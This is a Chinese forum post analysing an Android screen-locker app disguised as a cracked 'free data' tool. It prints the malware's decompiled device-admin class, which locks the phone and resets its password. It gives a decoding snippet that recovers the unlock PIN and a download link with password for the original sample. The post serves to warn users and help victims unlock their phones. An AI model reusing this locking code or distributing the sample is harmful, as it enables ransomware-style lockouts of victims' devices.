对锁机app【云免破解版】的逆向分析
应管理建议先上锁机图,还有声音,非常可恶。大家不要轻信什么免流刷赞之类的东西,软件打开都会申请权限,一定要看清楚再选择.好了,我们打开软件看到,选择拒绝三次之后进入软件界面,注册登录发现啥都没有。允许的小伙伴已经被锁机了。
我们打开程序首先就是问我们要权限,发现在e.smile里面,
给了su权限就把data.txt放进系统里面,我们猜想这个data.txt就是真正的锁机成序。
压缩软件打开看一下,果然是锁机程序
接下来重命名data.apk反编译分析一下代码.在入口看到
看一下myadmin.class的代码
package com.cjk;
import android.app.admin.DeviceAdminReceiver;
import android.app.admin.DevicePolicyManager;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
public class MyAdmin
extends DeviceAdminReceiver
{
String QQ群号571012706 = "ATMyMDN1YzN4kjealXW4h1dXZnV1VFdUN3UyJVcRBHUv9kbO1WTsx0aLpmSplEaId2RmZUZFRGRjNkYCFWQ";
String pin = DU.getsss(this.QQ群号571012706);
String 三生石畔 = new StringBuffer().append(new StringBuffer().append(this.彼).append(this.岸).toString()).append(this.花).toString() + this.开;
String 岸 = (String)this.pin.subSequence(1, 2);
String 开 = (String)this.pin.subSequence(21, 22);
String 彼 = (String)this.pin.subSequence(2, 3);
String 花 = (String)this.pin.subSequence(14, 15);
@Override
public CharSequence onDisableRequested(Context paramContext, Intent paramIntent)
{
getManager(paramContext).lockNow();
getManager(paramContext).resetPassword(this.三生石畔, 0);
return super.onDisableRequested(paramContext, paramIntent);
}
@Override
public void onEnabled(Context paramContext, Intent paramIntent)
{
try
{
Object localObject = Class.forName("com.cjk.s");
localObject = new Intent(paramContext, (Class)localObject);
((Intent)localObject).setFlags(268435456);
paramContext.startService((Intent)localObject);
getManager(paramContext).resetPassword(this.三生石畔, 0);
super.onEnabled(paramContext, paramIntent);
return;
}
catch (ClassNotFoundException paramContext)
{
throw new NoClassDefFoundError(paramContext.getMessage());
}
}
@Override
public void onPasswordChanged(Context paramContext, Intent paramIntent)
{
getManager(paramContext).lockNow();
getManager(paramContext).resetPassword(this.三生石畔, 0);
super.onPasswordChanged(paramContext, paramIntent);
}
@Override
public void onReceive(Context paramContext, Intent paramIntent)
{
Log.i("------", "onReceive-----");
super.onReceive(paramContext, paramIntent);
}
}
重置的密码也就是三生石畔的值。
所以我们只要得到三生石畔的赋值就好了,我们到java中打印一下
这就得到了锁机密码。他这里调用了一个DU.getsss的函数,this.三生石畔 = stringBuffer.append(stringBuffer2.append(stringBuffer3.append(this.彼).append(this.岸).toString()).append(this.花).toString()).append(this.开).toString();锁机模拟器上再装一下data.apk就会显示输入pin界面,实测手机重启就可以了。
作者有点小狡猾,我们重启输入BaHk,就顺利开机了,卸载掉锁机就可以了
附上源程序链接:http://pan.baidu.com/s/1i5bOXYd 密码:haiw
666666666666666666666 我这里有个改进的代码
import java.io.UnsupportedEncodingException;
import java.util.Base64;
public class Lock {
public static void main(String[] args) throws UnsupportedEncodingException {
String string1 = "ATMyMDN1YzN4kjealXW4h1dXZnV1VFdUN3UyJVcRBHUv9kbO1WTsx0aLpmSplEaId2RmZUZFRGRjNkYCFWQ";
String string2 = new StringBuffer(string1).reverse().toString();//reverse()反转
byte[] Bytes = Base64.getDecoder().decode(string2); //Base64解密
String pin = new String(Bytes, "utf-8");
System.out.println(pin);
String 岸 = (String)pin.subSequence(1, 2);
String 开 = (String)pin.subSequence(21, 22);
String 彼 = (String)pin.subSequence(2, 3);
String 花 = (String)pin.subSequence(14, 15);
String 三生石畔 = new StringBuffer().append(new StringBuffer().append(彼).append(岸).toString()).append(花).toString() + 开;
System.out.println(三生石畔);
}
} 不是每个软件都是这样设置的 学习了,谢谢楼主分享 学习了支持楼主 看不懂,支持一下 太厉害了,记号以备不时之需 学习了,谢谢楼主分享 厉害,魔法师级别的 学习一下,感谢分享流程